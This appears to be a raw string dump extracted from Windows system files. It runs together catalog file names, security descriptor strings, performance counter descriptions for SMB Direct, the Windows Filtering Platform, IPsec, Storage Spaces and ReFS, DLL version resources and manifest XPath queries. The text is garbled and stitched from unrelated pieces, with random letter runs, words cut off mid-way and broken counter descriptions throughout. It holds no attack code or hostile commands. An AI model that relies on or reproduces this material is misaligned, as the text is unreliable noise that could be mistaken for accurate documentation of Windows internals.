rMicrosoft-Windows-Kernel-Package-Kernel-Cache-Events-Container-Package~31bf3856ad364e35~amd64~~10.0.26100.3912.cat rMicrosoft-Windows-Kernel-Package-Kernel-Cache-Events-Container-Package~31bf3856ad364e35~amd64~~10.0.26100.3912.cat 12273E~1.CAT 12273e55beee68b1c9fb6f6e22b0403a05fee29121ae724334dcec7f3786a133.cat WofCompressedData $DSC innersgu orlu yb4m6rps limited. 7506 apyckhy rka7t3tv tluc eheapyck limited. 8989 apyckhy explaine rseb xfbjjxnm limited. 29d1 pyckhy igearstechnologylimited.omanradio_kpheheapyckhy icab.mus rtne f3b5znfe 22753derrickmaule.chordcadenza_s98xwpepssx5c limited. ianr kpheheap omposer_ nfvs limited. 8ade apyckhy limited. ippi nel_kphe 43555moisthouse.mediacutter_13f3vs01gkjmy hup_p0ak kses heheapyc limited. ugue heapyckh 28072- :(LL;; BUD:(A;;CCDCLCSWRP;;;WD)(A;;CCDCLCSWRP;;;AC)(A;;CCDCLCSWRP;;;S-1-15-3-1024-1502825166-1963708345-2616377461-2562897074-4192028372-3968301570-1997628692-1435953622)S:(ML;;NX;;;LW) 28072- :(LL;; :PS BUD:(A;;CCDCLCSWRP;;;WD)(A;;CCDCLCSWRP;;;AC)(A;;CCDCLCSWRP;;;S-1-15-3-1024-1502825166-1963708345-2616377461-2562897074-4192028372-3968301570-1997628692-1435953622)S:(ML;;NX;;;LW) 28072- :(LL;; 80, TID:0, SID:S-1-5-21-3914889805-4071901059-918772286-1001, Packaged:1, PFN:MicrosoftWindows.Client.CBS_cw5n1h2txyewy, Full Trust:1, Interactive:1, Capability:packageManagement BUD:(A;;CCDCLCSWRP;;;WD)(A;;CCDCLCSWRP;;;AC)(A;;CCDCLCSWRP;;;S-1-15-3-1024-1502825166-1963708345-2616377461-2562897074-4192028372-3968301570-1997628692-1435953622)S:(ML;;NX;;;LW) 3++S++ ++S+ :<Sdch Dicti ++S+ 3++S++ rge count 2125 Average number of regions examined per allocation. 2129 Maximum number of regions examined per allocation 2131 Total time needed to process tree updates in 100 ns 2133 Total time needed to process checkpoints while holding exclusive locks checkpoints in 100 ns 2135 Total time needed to process checkpoints as tree updates in 100 ns 8283 The Storage Management WSP Spaces Runtime performance object consists of counters that show information about Storage Management WSP Spaces provider runtimes. 8285 The number of control dispatches elapsing between 0ms to 4ms. 8287 The number of control dispatches elapsing between 4ms to 16ms. 8289 The number of control dispatches elapsing between 16ms to 64ms. 8291 The number of control dispatches elapsing between 64ms to 256ms. 8293 The number of control dispatches elapsing between 256ms to 1s. 8295 The number of control dispatches elapsing between 1s to 4s. 8297 The number of control dispatches elapsing between 4s to 16s. 8299 The number of control dispatches elapsing between 16s to 1min. 8301 The number of control dispatches elapsing more than 1min. 1959 Per-Pipe statistics, for performance debugging. 11155 The SMB Direct performance counter set consists of counters that measure SMB Direct activity. 11157 The total number of times SMB Direct was unable to allocate an RDMA connector. 11159 The total number of times SMB Direct was unable to allocate an RDMA protection domain. 11161 The total number of times SMB Direct was unable to allocate an RDMA completion queue. 11163 The total number of times SMB Direct was unable to allocate an RDMA queue pair. 11165 The total number of times SMB Direct was unable to allocate an RDMA memory region. 11167 The total number of times SMB Direct was unable to allocate an RDMA fast register memory region. 11169 The rate at which SMB Direct is RDMA reading bytes from a remote host. 11171 The rate at which SMB Direct is RDMA writing bytes to a remote host. 11173 The number of bytes SMB Direct has registered as the source/sink for an RTBOUND_TRANSPORT_V6 12097 FWPM_LAYER_OUTBOUND_TRANSPORT_V6_DISCARD 12099 FWPM_LAYER_STREAM_V4 12101 FWPM_LAYER_STREAM_V4_DISCARD 12103 FWPM_LAYER_STREAM_V6 12105 FWPM_LAYER_STREAM_V6_DISCARD 12107 FWPM_LAYER_DATAGRAM_DATA_V4 12109 FWPM_LAYER_DATAGRAM_DATA_V4_DISCARD 12111 FWPM_LAYER_DATAGRAM_DATA_V6 12113 FWPM_LAYER_DATAGRAM_DATA_V6_DISCARD 12115 FWPM_LAYER_INBOUND_ICMP_ERROR_V4 12117 FWPM_LAYER_INBOUND_ICMP_ERROR_V4_DISCARD 12119 FWPM_LAYER_INBOUND_ICMP_ERROR_V6 12121 FWPM_LAYER_INBOUND_ICMP_ERROR_V6_DISCARD 12123 FWPM_LAYER_OUTBOUND_ICMP_ERROR_V4 12125 FWPM_LAYER_OUTBOUND_ICMP_ERROR_V4_DISCARD 12127 FWPM_LAYER_OUTBOUND_ICMP_ERROR_V6 12129 FWPM_LAYER_OUTBOUND_ICMP_ERROR_V6_DISCARD 12131 FWPM_LAYER_ALE_RESOURCE_ASSIGNMENT_V4 12133 FWPM_LAYER_ALE_RESOURCE_ASSIGNMENT_V4_DISCARD 12135 FWPM_LAYER_ALE_RESOURCE_ASSIGNMENT_V6 12137 FWPM_LAYER_ALE_RESOURCE_ASSIGNMENT_V6_DISCARD 12139 FWPM_LAYER_ALE_AUTH_LISTEN_V4 12141 FWPM_LAYER_ALE_AUTH_LISTEN_V4_DISCARD 12143 FWPM_LAYER_ALE_AUTH_LISTEN_V6 12145 FWPM_LAYER_ALE_AUTH_LISTEN_V6_DISCARD 12147 FWPM_LAYER_ALE_AUTH_RECV_ACCEPT_V4 12149 FWPM_LAYER_ALE_AUTH_RECV_ACCEPT_V4_DISCARD 12151 FWPM_LAYER_ALE_AUTH_RECV_ACCEPT_V6 12153 FWPM_LAYER_ALE_AUTH_RECV_ACCEPT_V6_DISCARD 12155 FWPM_LAYER_ALE_AUTH_CONNECT_V4 12157 FWPM_LAYER_ALE_AUTH_CONNECT_V4_DISCARD 12159 FWPM_LAYER_ALE_AUTH_CONNECT_V6 12161 FWPM_LAYER_ALE_AUTH_CONNECT_V6_DISCARD 12163 FWPM_LAYER_ALE_FLOW_ESTABLISHED_V4 12165 FWPM_LAYER_ALE_FLOW_ESTABLISHED_V4_DISCARD 12167 FWPM_LAYER_ALE_FLOW_ESTABLISHED_V6 12169 FWPM_LAYER_ALE_FLOW_ESTABLISHED_V6_DISCARD 12171 FWPM_LAYER_INBOUND_MAC_FRAME_ETHERNET 12173 FWPM_LAYER_OUTBOUND_MAC_FRAME_ETHERNET 12175 FWPM_LAYER_INBOUND_MAC_FRAME_NATIVE 12177 FWPM_LAYER_OUTBOUND_MAC_FRAME_NATIVE 12179 FWPM_LAYER_NAME_RESOLUTION_CACHE_V4 12181 FWPM_LAYER_NAME_RESOLUTION_CACHE_V6 12183 FWPM_LAYER_ALE_RESOURCE_RELEASE_V4 12185 FWPM_LAYER_ALE_RESOURCE_RELEASE_V6 12187 FWPM_LAYER_ALE_ENDPOINT_CLOSURE_V4 12189 FWPM_LAYER_ALE_ENDPOINT_CLOSURE_V6 12191 FWPM_LAYER_ALE_CONNECT_REDIRECT_V4 12193 FWPM_LAYER_ALE_CONNECT_REDIRECT_V6 12195 FWPM_LAYER_ALE_BIND_REDIRECT_V4 12197 FWPM_LAYER_ALE_BIND_REDIRECT_V6 12199 FWPM_LAYER_STREAM_PACKET_V4 12201 FWPM_LAYER_STREAM_PACKET_V6 12203 FWPM_LAYER_INGRESS_VSWITCH_ETHERNET 12205 FWPM_LAYER_EGRESS_VSWITCH_ETHERNET 12207 FWPM_LAYER_INGRESS_VSWITCH_TRANSPORT_V4 12209 FWPM_LAYER_INGRESS_VSWITCH_TRANSPORT_V6 12211 FWPM_LAYER_EGRESS_VSWITCH_TRANSPORT_V4 12213 FWPM_LAYER_EGRESS_VSWITCH_TRANSPORT_V6 12215 FWPM_LAYER_INBOUND_TRANSPORT_FAST 12217 FWPM_LAYER_OUTBOUND_TRANSPORT_FAST 12219 FWPM_LAYER_INBOUND_MAC_FRAME_NATIVE_FAST 12221 FWPM_LAYER_OUTBOUND_MAC_FRAME_NATIVE_FAST 12223 FWPM_LAYER_INBOUND_RESERVED2 12225 FWPM_LAYER_ALE_ACCEPT_REDIRECT_V4 12227 FWPM_LAYER_ALE_ACCEPT_REDIRECT_V6 12229 FWPM_LAYER_OUTBOUND_NETWORK_CONNECTION_POLICY_V4 12231 FWPM_LAYER_OUTBOUND_NETWORK_CONNECTION_POLICY_V6 12233 FWPM_LAYER_IPSEC_KM_DEMUX_V4 12235 FWPM_LAYER_IPSEC_KM_DEMUX_V6 12237 FWPM_LAYER_IPSEC_V4 12239 FWPM_LAYER_IPSEC_V6 12241 FWPM_LAYER_IKEEXT_V4 12243 FWPM_LAYER_IKEEXT_V6 12245 FWPM_LAYER_RPC_UM 12247 FWPM_LAYER_RPC_EPMAP 12249 FWPM_LAYER_RPC_EP_ADD 12251 FWPM_LAYER_RPC_PROXY_CONN 12253 FWPM_LAYER_RPC_PROXY_IF 12255 FWPM_LAYER_KM_AUTHORIZATION 12257 Sum total of all filters 11571 IPsec AuthIP IPv4 is the set of Internet Protocol security (IPsec) Authenticated IP (AuthIP) counters that apply to traffic and connections over Internet Protocol version 4. 11573 Active Main Mode SAs is the number of currently active main mode security associations. 11575 Pending Main Mode Negotiations is the number of pending main mode negotiations. 11577 Main Mode Negotiations is the number of main mode negotiations attempted since IPsec was last started. 11579 Main Mode Negotiations per Second is the rate at which main mode negotiations are being attempted. 11581 Successful Main Mode Negotiations is the number of main mode negotiations completed since IPsec was last started. 11583 Successful Main Mode Negotiations per Second is the rate of main mode negotiations completed. 11585 Failed Main Mode Negotiations is the number of failed main mode negotiations since IPsec was last started. 11587 Failed Main Mode Negotiations per Second is the rate of failed main mode negotiations. 11589 Main Mode Negotiation Requests Received is the number of main mode negotiations initiated by a peer since IPsec was last started. 11591 Main Mode Negotiation Requests Received per Second is the rate of main mode negotiations initiated by a peer. 11593 Main Mode SAs That Used Impersonation is the number of main mode security associations completed using impersonation since IPsec was last started. 11595 Main Mode SAs That Used Impersonation per Second is the rate of main mode security associations completed using impersonation. 11597 Active Quick Mode SAs is the number of currently active quick mode security associations. 11599 Pending Quick Mode Negotiations is the number of pending quick mode negotiations. 11601 Quick Mode Negotiations is the number of quick mode negotiations attempted since IPsec was last started. 11603 Quick Mode Negotiations per Second is the rate at which quick mode negotiations are being attempted. 11605 Successful Quick Mode Negotiations is the number of quick mode negotiations completed since IPsec was last started. 11607 Successful Quick Mode Negotiations per Second is the rate of quick mode negotiations completed. 11609 Failed Quick Mode Negotiations is the number of failed quick mode negotiations since IPsec was last started. 11611 Failed Quick Mode Negotiations per Second is the rate of failed quick mode negotiations. 11613 Active Extended Mode SAs is the number of currently active extended mode security ass egotiations.@ tions is the num IPsec was @ ch e ded ! neg! tions are being at mpted. 1621 Successful Extended Mod goti ns is the nu Exec. Resource Recursive Excl. Acquires AcqShrdWaitForExcl/sec 2750 Exec. Resource Acquires AcqShrdWaitForExcl/sec 2752 Exec. Resource Recursive Sh. Acquires AcqShrdWaitForExcl/sec 2754 Exec. Resource Contention AcqShrdWaitForExcl/sec 2756 Exec. Resource no-Waits AcqShrdWaitForExcl/sec 2758 Exec. Resource Set Owner Pointer Exclusive/sec 2760 Exec. Resource Set Owner Pointer Shared (New Owner)/sec 2762 Exec. Resource Set Owner Pointer Shared (Existing Owner)/sec 2764 Exec. Resource Boost Excl. Owner/sec 2766 Exec. Resource Boost Shared Owners/sec 2794 SynchronizationNuma 2796 Spinlock Acquires/sec 2798 Spinlock Contentions/sec 2800 Spinlock Spins/sec 2802 IPI Send Broadcast Requests/sec 2804 IPI Send Routine Requests/sec 2806 IPI Send Software Interrupts/sec 2808 Exec. Resource Total Initialize/sec 2810 Exec. Resource Total Re-Initialize/sec 2812 Exec. Resource Total Delete/sec 2814 Exec. Resource Total Acquires/sec 2816 Exec. Resource Total Contentions/sec 2818 Exec. Resource Total Exclusive Releases/sec 2820 Exec. Resource Total Shared Releases/sec 2822 Exec. Resource Total Conv. Exclusive To Shared/sec 2824 Exec. Resource Attempts AcqExclLite/sec 2826 Exec. Resource Acquires AcqExclLite/sec 2828 Exec. Resource Recursive Excl. Acquires AcqExclLite/sec 2830 Exec. Resource Contention AcqExclLite/sec 2832 Exec. Resource no-Waits AcqExclLite/sec 2834 Exec. Resource Attempts AcqShrdLite/sec 2836 Exec. Resource Recursive Excl. Acquires AcqShrdLite/sec 2838 Exec. Resource Acquires AcqShrdLite/sec 2840 Exec. Resource Recursive Sh. Acquires AcqShrdLite/sec 2842 Exec. Resource Contention AcqShrdLite/sec 2844 Exec. Resource no-Waits AcqShrdLite/sec 2846 Exec. Resource Attempts AcqShrdStarveExcl/sec 2848 Exec. Resource Recursive Excl. Acquires AcqShrdStarveExcl/sec 2850 Exec. Resource Acquires AcqShrdStarveExcl/sec 2852 Exec. Resource Recursive Sh. Acquires AcqShrdStarveExcl/sec 2854 Exec. Resource Contention AcqShrdStarveExcl/sec 2856 Exec. Resource no-Waits AcqShrdStarveExcl/sec 2858 Exec. Resource Attempts AcqShrdWaitForExcl/sec 2860 Exec. Resource Recursive Excl. Acquires AcqShrdWaitForExcl/sec 2862 Exec. Resource Acquires AcqShrdWaitForExcl/sec 2864 Exec. Resource Recursive Sh. Acquires AcqShrdWaitForExcl/sec 2866 Exec. Resource Contention AcqShrdWaitForExcl/sec 2868 Exec. Resource no-Waits AcqShrdWaitForExcl/sec 2870 Exec. Resource Set Owner Pointer Exclusive/sec 2872 Exec. Resource Set Owner Pointer Shared (New Owner)/sec 2874 Exec. Resource Set Owner Pointer Shared (Existing Owner)/sec 2876 Exec. Resource Boost Excl. Owner/sec 2878 Exec. Resource Boost Shared Owners/sec 3132 Windows Time Service 3134 Computed Time Offset 3136 Clock Frequency Adjustment 3138 Clock Frequency Adjustment (PPB) 3140 NTP Roundtrip Delay 3142 NTP Client Time Source Count 3144 NTP Server Incoming Requests 3146 NTP Server Outgoing Responses 2316 ForwardedEvents 2318 ProcessedEvents 2320 LostEvents 2322 EventsReceived_Batches 2324 EventsDropped_Batchs 2326 TimestampOfLatestBatch 4310 SMB Client Shares 4312 Read Bytes/sec 4314 Write Bytes/sec 4316 Read Requests/sec 4318 Write Requests/sec 4320 Avg. Bytes/Read 4324 Avg. Bytes/Write 4328 Avg. sec/Read 4332 Avg. sec/Write 4336 Data Bytes/sec 4338 Data Requests/sec 4340 Avg. Data Bytes/Request 4344 Avg. sec/Data Request 4348 Current Data Queue Length 4350 Avg. Read Queue Length 4352 Avg. Write Queue Length 4354 Avg. Data Queue Length 4356 Metadata Requests/sec 4358 Credit Stalls/sec 4360 Read Bytes transmitted via SMB Direct/sec 4362 Write Bytes transmitted via SMB Direct/sec 4364 Read Requests transmitted via SMB Direct/sec 4366 Write Requests transmitted via SMB Direct/sec 4368 Turbo I/O Reads/sec 4370 Turbo I/O Writes/sec 4372 Attempted Compressed Requests/sec 4374 Compressed Responses/sec 4376 Compressed Bytes Sent/sec 4378 Successful Compressed Requests /sec 11366 AppV Client Streamed Data Percentage 11368 Primary Feature % Streamed 4380 Network QoS Policy 4382 Packets transmitted 4384 Packets transmitted/sec 4386 Bytes transmitted 4388 Bytes transmitted/sec 4390 Packets dropped 4392 Packets dropped/sec 3110 Event Log 3112 Enabled Channels 3114 WEVT RPC calls/sec 3116 Events/sec 3118 ELF RPC calls/sec 3120 Active subscriptions 3122 Event filter operations/sec 3124 Active Channels 3126 Event Log Subscriptions 3128 Events/sec 3130 Event filter operations/sec 1848 Work Unit 1850 App Owner Process ID 1852 Host Process ID 11318 BranchCache 11320 Retrieval: Bytes from server 11322 Retrieval: Bytes from cache 11324 Retrieval: Bytes served 11326 Discovery: Weighted average discovery time 11328 SMB: Bytes from cache 11330 SMB: Bytes from server 11332 BITS: Bytes from cache 11334 BITS: Bytes from server 11336 WININET: Bytes from cache 11338 WININET: Bytes from server 11340 WINHTTP: Bytes from cache 11342 WINHTTP: Bytes from server 11344 OTHER: Bytes from cache 11346 OTHER: Bytes from server 11348 Discovery: Attempted discoveries 11350 Local Cache: Cache complete file segments 11352 Local Cache: Cache partial file segments 11354 Hosted Cache: Client file segment offers made 11356 Retrieval: Average branch rate 11358 Discovery: Successful discoveries 11360 Hosted Cache: Segment offers queue size 11362 Publication Cache: Published contents 11364 Local Cache: Average access time 8178 WSMan Quota Statistics 8180 Total Requests/Second 8182 User Quota Violations/Second 8184 System Quota Violations/Second 8186 Active Shells 8188 Active Operations 8190 Active Users 8192 Process ID 12864 Hyper-V VM Vid Partition 12866 Physical Pages Allocated 12868 Preferred NUMA Node Index 12870 Remote Physical Pages 12872 ClientHandles 12874 CompressPackTimeInUs 12876 CompressUnpackTimeInUs 12878 CompressPackInputSizeInBytes 12880 CompressUnpackInputSizeInBytes 12882 CompressPackOutputSizeInBytes 12884 CompressUnpackOutputSizeInBytes 12886 CompressUnpackUncompressedInputSizeInBytes 12888 CompressPackDiscardedSizeInBytes 12890 CompressWorkspaceSizeInBytes 12892 CompressScratchPoolSizeInBytes 12894 CryptPackTimeInUs 12896 CryptUnpackTimeInUs 12898 CryptPackInputSizeInBytes 12900 CryptUnpackInputSizeInBytes 12902 CryptPackOutputSizeInBytes 12904ffer limit on any datagram socket 6493 Rejected Connections/sec due to backlog limit on any TCP listening socket 6495 Rejected Connections due to backlog limit on any TCP listening socket 11301 BitLocker Drive Encryption performance counters 11303 Minimum read buffer split size in bytes during last interval 11305 Maximum read buffer split size in bytes during last interval 11307 Minimum write buffer split size in bytes during last interval 11309 Maximum write buffer split size in bytes during last interval 11311 Number of read requests received over the last second 11313 Number of read subrequests issued over the last second 11315 Number of write requests received over the last second 11317 Number of write subrequests issued over the last second 6933 The Storage Spaces Map performance object consists of counters that show information about Storage Spaces maps. 6935 The number of maps to virtual disk per second. 6937 The number of extents mapped to virtual disk per second. 6939 The number of bytes mapped to virtual disk per second. 6941 The average number of extents per map to virtual disk. 6943 The average number of bytes per map to virtual disk. 6945 The average number of ms per map to virtual disk. 6947 The average number of ms per extent mapped to virtual disk. 6949 The number of maps to virtual disk. 6951 The number of extents mapped to virtual disk. 6639 The Storage Spaces Virtual Disk performance object consists of counters that show information about Storage Spaces virtual disks. 6641 The number of extents of the virtual disk that are active. 6643 The number of bytes of the virtual disk that are active. 6645 The number of extents of the virtual disk that are missing. 6647 The number of bytes of the virtual disk that are missing. 6649 The number of extents of the virtual disk that are stale. 6651 The number of bytes of the virtual disk that are stale. 6653 The number of extents of the virtual disk that are need reallocation. 6655 The number of bytes of the virtual disk that are need reallocation. 6657 The number of extents of the virtual disk that are need regeneration. 6659 The number of bytes of the virtual disk that are need regeneration. 6661 The number of extents of the virtual disk that are regenerating. 6663 The number of bytes of the virtual disk that are regenerating. 6665 The number of extents of the virtual disk that are pending deletion. 6667 The number of bytes of the virtual disk that are pending tion. 6669 The total num sk t are on a physical ber of bytes of seconds for all operations that took <= 512 ms to complete. 2197 Total time in nanoseconds for all operations that took <= 1 s to complete. 2199 Total time in nanoseconds for all operations that took <= 2 s to complete. 2201 Total time in nanoseconds for all operations that took <= 10 s to complete. 2203 Total time in nanoseconds for all operations that took <= 20 s to complete. 2205 Total time in nanoseconds for all operations that took <= 30 s to complete. 2207 Total time in nanoseconds for all operations that took > 30s to complete. 2209 Bytes transfered by all operations that took <= 128 s to complete. 2211 Bytes transfered by all operations that took <= 256 s to complete. 2213 Bytes transfered by all operations that took <= 512 s to complete. 2215 Bytes transfered by all operations that took <= 1 ms to complete. 2217 Bytes transfered by all operations that took <= 4 ms to complete. 2219 Bytes transfered by all operations that took <= 16 ms to complete. 2221 Bytes transfered by all operations that took <= 64 ms to complete. 2223 Bytes transfered by all operations that took <= 128 ms to complete. 2225 Bytes transfered by all operations that took <= 256 ms to complete. 2227 Bytes transfered by all operations that took <= 512 ms to complete. 2229 Bytes transfered by all operations that took <= 1 s to complete. 2231 Bytes transfered by all operations that took <= 2 s to complete. 2233 Bytes transfered by all operations that took <= 10 s to complete. 2235 Bytes transfered by all operations that took <= 20 s to complete. 2237 Bytes transfered by all operations that took <= 30 s to complete. 2239 Bytes transfered by all operations that took > 30s to complete. 2013 Information on the ReFS file system performance counters. 2015 The total number of cluster allocations per second. 2017 The number of in place data cluster writes per second. 2019 The number of metadata cluster allocations from the fast tier per second. 2021 The number of metadata cluster allocations from the slow tier per second. 2023 The number of dat m32\conh 071901059-918772 gTotal number of outbound reauthorizations performed. 12017 Total number of reauthorizations performed for the IPv4 address family. 12019 Total number of reauthorizations performed for the IPv6 address family. 12021 Total number of reauthorizations performed for all other protocols. 12023 Total number of reauthorizations performed for the IPv4 protocol. 12025 Total number of reauthorizations performed for the IPv6 protocol. 12027 Total number of reauthorizations performed for the ICMP protocol. 12029 Total number of reauthorizations performed for the ICMP6 protocol. 12031 Total number of reauthorizations performed for the UDP protocol. 12033 Total number of reauthorizations performed for the TCP protocol. 12035 Total number of reauthorizations performed for the PolicyChange reason. 12037 Total number of reauthorizations performed for the NewArrivalInterface reason. 12039 Total number of reauthorizations performed for the NewNextHopInterface reason. 12041 Total number of reauthorizations performed for the ProfileCrossing reason. 12043 Total number of reauthorizations performed for the ClassifyCompletion reason. 12045 Total number of reauthorizations performed for the IPSecPropertiesChanged reason. 12047 Total number of reauthorizations performed for the MidStreamInspection reason. 12049 Total number of reauthorizations performed for the SocketPropertyChanged reason. 12051 Total number of reauthorizations performed for the NewInboundMCastBCastPacket reason. 12053 Total number of reauthorizations performed for the EDPPolicyChanged reason. 12055 Total number of reauthorizations performed for the ProxyHandleChanged reason. 11399 WFPv6 is the set of Windows Filtering Platform counters that apply to traffic and connections over Internet Protocol version 6. 11401 Inbound Packets Discarded per Second is the rate at which inbound packets are discarded by the Windows Filtering Platform. 11403 Outbound Packets Discarded per Second is the rate at which outbound packets are discarded by the Windows Filtering Platform. 11405 true false '.6>GPZdoz (4BP_p ACFolder .bak \settings.dat SecureSystemAppDataRetry StateCreation LocalStateFolder AcquisitionInfo STATE_LEFT_FROM_LAST_UNINSTALL Helium\Cache Helium *.dat* \Settings\roaming.lock (null) D:(A;OICI;KA;;;CO)(A;OICI;KA;;;SY)(A;OICI;KA;;;%ls)(A;OICI;KA;;;BA) D:(A;;CC;;;%ls) D:(A;CROICI;GA;;;%s) D:(A;;GA;;;SY)(A;;GA;;;%ls)(A;;GA;;;%ls) D:PAI(A;;FA;;;SY)(A;;FA;;;BA) Managed.App.Settings StateLock \roaming.lock ureBackupLocation Uign ureUpdateInterval atureVersion ureBackupLocation oCA ureA cfg:LogoutSrf cfg:TrustedDomain cfg:URL_DeviceTOU cfg:WLIDSTS_WCF c.live.com,c.msn.com cfg:URL_Privacy cfg:URL_Retention cfg:CPConnect cfg:DADomain cfg:ThrottledAppID cfg:InvalidName cfg:MSNDomain cfg:SignupDomain cfg:InvalidDomain cfg:LoginSrf cfg:ConfigVersion cfg:SecureSrf cfg:InvalidUrl cfg:ManageEIDsSrf AppEvents\Schemes\Apps\.Default\Notification.Default\.Current 0000P VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription PowerGridForecastTask Task FileVersion 10.0.26100.7309 (WinBuild.160101.0800) InternalName PowerGridForecastTask LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename PowerGridForecastTask.dll ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7309 VarFileInfo Translation en-US :::::::: .Data.Json.IJsonValue> Windows.Foundation.Collections.IIterator`1<Windows.Data.Json.IJsonValue> Windows.Foundation.Collections.IVector`1<Windows.Data.Json.IJsonValue> Windows.Foundation.Collections.IVector`1<Windows.Data.Json.IJsonValue> Windows.Foundation.Collections.IVector`1<Windows.Data.Json.IJsonValue> Windows.Foundation.Collections.IIterator`1<Windows.Data.Json.IJsonValue> Windows.Foundation.Collections.IIterator`1<Windows.Data.Json.IJsonValue> Windows.Foundation.Collections.IIterator`1<Windows.Data.Json.IJsonValue> Windows.Foundation.Collections.IVector`1<Windows.Data.Json.IJsonValue> Windows.Foundation.Collections.IIterator`1<Windows.Data.Json.IJsonValue> Windows.Foundation.Collections.IVector`1<Windows.Data.Json.IJsonValue> Windows.Foundation.Collections.IIterator`1<Windows.Data.Json.IJsonValue> Windows.Foundation.Collections.IVector`1<Windows.Data.Json.IJsonValue> Windows.Foundation.Collections.IVector`1<Windows.Data.Json.IJsonValue> Windows.Foundation.Collections.IIterator`1<Windows.Data.Json.IJsonValue> Windows.Foundation.Collections.IIterator`1<Windows.Data.Json.IJsonValue> First-party Widgets have optimized frame and taskbar integration. Windows.Foundation.Collections.IVector`1<Windows.Data.Json.IJsonValue> Windows.Foundation.Collections.IIterator`1<Windows.Data.Json.IJsonValue> Windows.Foundation.Collections.IIterator`1<Windows.Data.Json.IJsonValue> Windows.Foundation.Collections.IIterator`1<Windows.Data.Json.IJsonValue> Windows.Foundation.Collections.IVector`1<Windows.Data.Json.IJsonValue> Windows.Foundation.Collections.IVector`1<Windows.Data.Json.IJsonValue> Windows.Foundation.Collections.IVector`1<Windows.Data.Json.IJsonValue> CompDirtiedTimeline CompPropagatedTimeline AudioInTimeline AudioOutTimeline CpuTimeline DiskTimeline NetworkTimeline MBBTimeline InFocusS PSMForegroundS UserInputS CompRenderedS CompDirtiedS CompPropagatedS AudioInS AudioOutS Cycles CyclesBreakdown CyclesAttr CyclesAttrBreakdown CyclesWOB CyclesWOBBreakdown DiskRaw NetworkTailRaw NetworkBytesRaw MBBTailRaw MBBBytesRaw DisplayRequiredS DisplayRequiredTimeline KeyboardInputTimeline KeyboardInputS MouseInputS %04d/%02d/%02d:%02d:%02d:%02d!%x! 350-af2f 2884 get links.P ! "!#"$#%$&%'&(')(*)+*,+-,.-/.0/102132435465768798:9;:<;=<>=?>@?A@EAIBMCQDUEYF]GaHeIiJmKqLuMyN}O \ROOT\0 $comment region enabled guid $comment disabled guid $comment region enabled region gn-in wsnmp32.dll wsock32.dll wsp_fs.dllx wsp_health.dll wsp_sr.dllx WSTPager.ax wtdccm.dll wtdsensor.dll wtsapi32.dllL wuapi.dll wuceffects.dll wudriver.dllL wups.dll wusa.exel wusys.dll wvc.dll WwaApi.dll WwaExt.dll WWAHost.exe WWanAPI.dll wwapi.dll XAudio2_8.dll XAudio2_9.dll XblAuthManagerProxy.dll XblAuthTokenBrokerExt.dll XblGameSaveProxy.dll xboxgipsynthetic.dll XInput1_4.dll XInput9_1_0.dll XInputUap.dll xmlfilter.dll xmllite.dll xmlprovi.dllL xolehlp.dll RPCSS_REGEVENT:MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64 Manageme Internal entMaxAge Policy.Normal.ConnectionMinCount Policy.Normal.StatementMaxCount Policy.Normal.ConnectionMaxCount Policy.Normal.StatementMinCount Policy.Normal.GCInterval SOFTWARE\Microsoft\Windows\CurrentVersion\AppModel\StateRepositoryStatus StateRepositoryStatus %s\%s\%s\%s <Error message string not found> ImportRedirectionTable com1 com2 com3 com4 com5 com6 com7 com8 com9 lpt1 lpt2 lpt3 lpt4 lpt5 lpt6 lpt7 lpt8 lpt9 Software\Microsoft\Windows\CurrentVersion\Authentication\LogonUI\Notifications\BackgroundCapability %s\%s\%s ManifestLanguagesList ImageName Data Name SvcHostTag ImageName SvcHostTag Microsoft-Windows-NTLM win:Error win:Warning win:Informational CATEGORY_BLOCKNTLM CATEGORY_AUDITNTLM CATEGORY_MAX_CATEGORY VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription Microsoft Authentication Package v1.0 FileVersion 10.0.26100.7705 (WinBuild.160101.0800) InternalName MSV1_0.DLL LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename MSV1_0.DLL ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7705 VarFileInfo Translation WEVT_TEMPLATE MOFDATA en-US \Registry\Machine VS_VERSION_INFO FileVersion \SystemRoot\ UseDesktopChangeRouter Alias *[local-name()='ExecutionAlias'] *[local-name()='AppExecutionAlias'] *[local-name()='SupportedProtocols'] EnvironmentPath DropTarget UseUrl Executable ancestor::*[local-name()='Application'] *[local-name()='SupportedProtocol'] SupportedProtocols DontUseDesktopChangeRouter SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths windows.protocol on']/*[local-name()='Extensions']/*[local-name()='Extension' and @Category='windows.searchPropertyHandler']/*[local-name()='SearchPropertyHandler'] *[local-name()='Applications']/*[local-name()='Application']/*[local-name()='Extensions']/*[local-name()='Extension']/*[local-name()='ComInterface']/*[local-name()='ProxyStub']/*[local-name()='ProxyStubDll'] *[local-name()='Applications']/*[local-name()='Application']/*[local-name()='Extensions']/*[local-name()='Extension']/*[local-name()='CloudFiles'] IconResource *[local-name()='Applications']/*[local-name()='Application']/*[local-name()='Extensions']/*[local-name()='Extension' and @Category='windows.videoRendererEffect']/*[local-name()='VideoRendererEffect'] *[local-name()='Applications']/*[local-name()='Application']/*[local-name()='Extensions']/*[local-name()='Extension' and @Category='windows.autoPlayHandler']/*[local-name()='AutoPlayHandler']/*[local-name()='InvokeAction'] DefaultIcon *[local-name()='Extensions']/*[local-name()='Extension']/*[local-name()='PrimaryInteropAssemblies'] *[local-name()='Applications']/*[local-name()='Application']/*[local-name()='Extensions']/*[local-name()='Extension']/*[local-name()='FileTypeAssociation'] ThumbnailTypeOverlay *[local-name()='Applications']/*[local-name()='Application']/*[local-name()='Properties']/*[local-name()='ImportRedirectionTable'] *[local-name()='Applications']/*[local-name()='Application']/*[local-name()='Extensions']/*[local-name()='Extension' and @Category='windows.devicePortalProvider']/*[local-name()='DevicePortalProvider']/*[local-name()='Tools']/*[local-name()='Tool'] Route *[local-name()='Applications']/*[local-name()='Application']/*[local-name()='Extensions']/*[local-name()='Extension' and @Category='windows.devicePortalProvider']/*[local-name()='DevicePortalProvider']/*[local-name()='Workspaces']/*[local-name()='Workspace'] *[local-name()='Applications']/*[local-name()='Application']/*[local-name()='Extensions']/*[local-name()='Extension' and @CategortupTasks_8wekyb3d8bbwe packagedServices user systemManaged machine modifiableApp webPlatformMediaExtension 